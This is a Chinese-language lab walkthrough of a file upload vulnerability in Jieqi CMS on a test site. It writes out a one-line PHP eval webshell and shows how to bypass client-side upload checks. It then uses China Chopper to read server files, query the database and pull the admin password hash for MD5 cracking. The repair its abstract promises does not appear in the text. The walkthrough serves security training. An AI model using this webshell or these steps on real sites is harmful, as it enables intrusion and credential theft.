非法文件上传漏洞技术解析及防御
Abstract: 掌握杰奇 CMS 上传漏洞的利用方法,了解如何对此漏洞进行修复。
实验工具:中国菜刀 + Firebug
Table of Contents
非法文件上传漏洞
定位文件上传漏洞
用浏览器打开网页 www.test.com,先注册用户,注册成功后,用该用户登录,用户首页如下:

可以看到,用户头像为默认,故首先定位到用户上传头像功能。点击 个人资料,进入 userdetail.php,页面显示如下:

判断用户在设置头像这里是否存在文件上传漏洞。

在桌面上新建一个名为 shell.php 的文件,写入一句话木马。再复制一份,命名为 shell.jpg 文件。
1 | @eval($_POST['cmd']); |
在 C:\Tools\抓包改包\Burp Suite 中打开 burp ,设置浏览器为手动代理。

用 burpsuite 抓取上传 shell.jpg 的数据包,然后发送到 Repeater,然后在 Repeater 做各种尝试,查看 Response。
把文件后缀修改为 .php,文件上传不成功。因此尝试寻找其他位置。

在我的空间找到了上传相册功能,尝试在这里进行文件上传。

三种方法绕过检测
删除函数绕过
在上传相册页面,点击 浏览 选择 shell.php ,尝试在代码中找到前端 js 检测的代码。

发现 form 表单,提交时调用了 checkFile() 函数,直接把它删掉,

点击上传,发现上传成功。

抓包绕过
用 burpsuit抓包方法绕过,点击浏览,选择 shell.jpg 文件,点击上传。

在 burp 界面把文件后缀名改为 .php 。

发现上传成功。
禁止 JS 功能绕过
选中 Disable JavaScript,可以上传 .php 文件。


使用中国菜刀
打开菜刀,填写地址和密码,选择 php 脚本了类型。

添加成功后,选择文件目录,成功打开。

找到系统盘根目录下的 flag 文件。

双击打开文件。

返回主界面,右击选择数据库管理,

点击配置,填写如下内容。
1 | <T>MYSQL</T> |

点击提交,成功连接数据库。

发现 testjie 数据库,找到该库下的表 jieqi_system_users。

在输入框输入,如下 SQL 语句,点击执行,成功获取 admin 的密码。
1 | SELECT pass FROM jieqi_system_users WHERE name='admin'; |

用在线的 MD5 解密工具解密。
